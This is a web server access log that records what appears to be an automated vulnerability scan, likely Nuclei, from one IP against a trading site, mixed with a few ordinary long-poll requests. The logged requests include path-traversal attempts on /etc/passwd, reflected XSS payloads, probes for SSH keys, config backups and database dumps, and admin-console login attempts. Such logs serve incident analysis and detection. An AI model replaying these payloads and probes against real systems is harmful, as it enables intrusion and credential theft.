[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //query-api HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.txt HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?t=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-t%27%29%3E&comment=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-comment%27%29%3E&post_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-post_id%27%29%3E&postid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-postid%27%29%3E&config=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-config%27%29%3E&login=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-login%27%29%3E&paged=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-paged%27%29%3E&go=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-go%27%29%3E&tag_ID=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tag_ID%27%29%3E&user_login=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-user_login%27%29%3E&part=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-part%27%29%3E&preview_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-preview_id%27%29%3E&_ajax_nonce=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-_ajax_nonce%27%29%3E&widget-id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-widget-id%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/database.db HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.~ HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/content_packs HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-setup.sh HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.json/FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/default HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellcheckder.php HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /aplicacao/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //a.php HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.gz HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //dashboard/phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /App_Master/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zp-core/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "OPTIONS /api/v2 HTTP/1.1" -
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zenphoto/zp-core/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site.sql HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /id_rsa_3072 HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/indexer/cluster/health HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //deploy.sh HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=....//....//etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.json/FNZ.png HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //query-explorer HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //plugin/editor/smarteditor2/SmartEditor2Skin.html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cloudexp/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.lz HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?activated=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-activated%27%29%3E&trigger=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-trigger%27%29%3E&loggedout=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-loggedout%27%29%3E&script=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-script%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-query%27%29%3E&file_name=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-file_name%27%29%3E&fname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-fname%27%29%3E&options=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-options%27%29%3E&export=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-export%27%29%3E&post=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-post%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-p%27%29%3E&action2=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-action2%27%29%3E&c=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-c%27%29%3E&destination=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-destination%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //_profiler/phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common/admin/PhotoGallery2/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //a.html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sql.sql HTTP/1.1" 196
[09/Jan/2026:10:52:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /id_rsa_4096 HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927415042 HTTP/1.1" -
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.rar HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //z.php HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/Model/app.db HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/id_rsa HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/indexer/cluster/name HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //js/se2/SmartEditor2.html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //_profiler/phpinfo HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rememberme=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-rememberme%27%29%3E&module=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-module%27%29%3E&comment_ID=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-comment_ID%27%29%3E&client_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-client_id%27%29%3E&noheader=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-noheader%27%29%3E&del=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-del%27%29%3E&media=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-media%27%29%3E&user_name=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-user_name%27%29%3E&country=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-country%27%29%3E&phone=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-phone%27%29%3E&sidebar=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-sidebar%27%29%3E&version=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-version%27%29%3E&widget_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-widget_id%27%29%3E&class=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-class%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //query-laravel HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger/v1/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cms/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //aws.sh HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.json/FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common/admin/Jobs2/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //temp.sql HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927427224 HTTP/1.1" -
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/Model/sqlite.db HTTP/1.1" 196
